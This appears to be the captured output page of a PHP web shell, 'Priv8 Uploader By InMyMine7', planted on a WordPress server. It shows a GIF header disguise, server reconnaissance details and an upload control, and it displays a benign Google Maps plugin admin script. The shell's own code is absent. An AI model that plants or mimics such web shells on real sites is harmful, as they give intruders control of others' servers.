GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3

Priv8 Uploader By InMyMine7

Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
HEX
HEX
Server: Apache/2
System: Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
User: bs3263 (524)
PHP: 7.3.5
Disabled: NONE
Upload Files
File: /home/bs3263/public_html/wp-content/plugins/google-maps/assets/js/admin/locator.js
editLocator = false;
jQuery(document).ready(function(){
    if( typeof locatorL10n.map == "object" && locatorL10n.map != null ){
        hugeitMapsLoadLocatorsMap(
            locatorL10n.map.id,
            locatorL10n.map.styling_hue,
            locatorL10n.map.styling_saturation,
            locatorL10n.map.styling_lightness,
            locatorL10n.map.styling_gamma,
            locatorL10n.map.zoom,
            locatorL10n.map.type,
            locatorL10n.map.bike_layer,
            locatorL10n.map.traffic_layer,
            locatorL10n.map.transit_layer
        );
    }
});

function hugeitMapsLoadLocatorsMap(id, hue, saturation, lightness, gamma, zoom, type, bike, traffic, transit) {
    data = {
        action: 'hugeit_maps_get_info',
        map_id: id
    };
    jQuery.ajax({
        url: ajaxurl,
        dataType: 'json',
        method: 'post',
        data: data,
        beforeSend: function () {}
    }).done(function (response) {
        hugeitMapsInitializeLocatorMap(response);
    }).fail(function () {
        console.log('Failed to load response from database');
    });

    function hugeitMapsInitializeLocatorMap(response){
        if( !response.success ){
            return false;
        }

        var mapInfo = response.success;
        var maps = mapInfo.maps;
        for (var i = 0; i < maps.length; i++) {
            var trafficLayer = new google.maps.TrafficLayer();
            var trafficLayer1 = new google.maps.TrafficLayer();
            var bikeLayer = new google.maps.BicyclingLayer();
            var bikeLayer1 = new google.maps.BicyclingLayer();
            var transitLayer = new google.maps.TransitLayer();
            var transitLayer1 = new google.maps.TransitLayer();
            mapcenter = new google.maps.LatLng(
                parseFloat(maps[i].center_lat),
                parseFloat(maps[i].center_lng));
            var styles = [
                {
                    stylers: [
                        {hue: hue},
                        {saturation: saturation},
                        {lightness: lightness},
                        {gamma: gamma}
                    ]
                }
            ];
            var mapOptions = {
                zoom: parseInt(zoom),
                center: mapcenter,
                styles: styles
            };

            var input        = document.getElementById('locator_edit_addr');
            var autocomplete = new google.maps.places.Autocomplete(input);
            var searchBox    = new google.maps.places.SearchBox(input);
            var geocoder = new google.maps.Geocoder();
            google.maps.event.addDomListener(searchBox,'places_changed',function () {
                var address= document.getElementById('locator_edit_addr').value;
                geocoder.geocode({'address': address}, function(results, status) {
                    if (status === 'OK') {

                        document.getElementById('locator_edit_lat').value = results[0].geometry.location.lat();
                        document.getElementById('locator_edit_lng').value = results[0].geometry.location.lng();

                    }
                    else {

                        alert('Geocode was not successful for the following reason: ' + status);
                    }

                });

            });


            jQuery(".edit_locator_list_delete a").on("click",function(){
                editLocator = false;
                editDirectionCoords = [];
                editDirectionsDisplay = false;
                editDirectionMode = 'DRIVING';
                editDirectionShowSteps = false;

                var parent = jQuery(this).parent();
                var idelement = parent.find(".locator_edit_id");
                var locatorid = idelement.val();
    /* Temporarily unnecessary              jQuery("#g_maps > div").addClass("hide");*/
                jQuery("#g_map_locator_edit").removeClass("hide");
                jQuery("#locator_edit_exist_section").hide(200).addClass("tab_options_hidden_section");
                jQuery(this).parent().parent().parent().parent().parent().find(".update_list_item").show(200).addClass("tab_options_active_section");
                jQuery("#locator_add_button").hide(200).addClass("tab_options_hidden_section");

                jQuery("#locator_get_id").val(locatorid);

                var info_locators = mapInfo.locators;

                for (var e = 0; e < info_locators.length; e++) {
                    var id = info_locators[e].id;
                    if (locatorid != id) {
                        continue;
                    }

                    var locator_name = info_locators[e].name;
                    var locator_lat = info_locators[e].locator_lat;
                    var locator_lng = info_locators[e].locator_lng;
                    var locator_addr = info_locators[e].locator_addr;
                    var locator_phone = info_locators[e].locator_phone;
                    var locator_days  = info_locators[e].locator_days;
                    jQuery("#locator_edit_name").val(locator_name);
                    jQuery("#locator_edit_lat").val(locator_lat);
                    jQuery("#locator_edit_lng").val(locator_lng);
                    jQuery("#locator_edit_addr").val(locator_addr);
                    jQuery("#locator_edit_phone").val(locator_phone);
                    jQuery("#locator_edit_days").val(locator_days);

                    //Assign values to Operating Days from JSON
                    var assignLocDays = JSON.parse(locator_days);

                    for(var i in assignLocDays){
                        for(var j in assignLocDays[i]){
                            jQuery("#store_edit_days").find("#"+i).find("input[name="+j+"]").val(assignLocDays[i][j]);
                        }
                    }
                    //Assign values to Operating Days


                }
                return false;
            });

            //Timepicker


            jQuery(".timepicker").timepicker({});
            jQuery("#store_days input[type='text'], textarea").attr('spellcheck',false);
            jQuery("#store_edit_days input[type='text'], textarea").attr('spellcheck',false);


            //Timepicker

        }

    }
}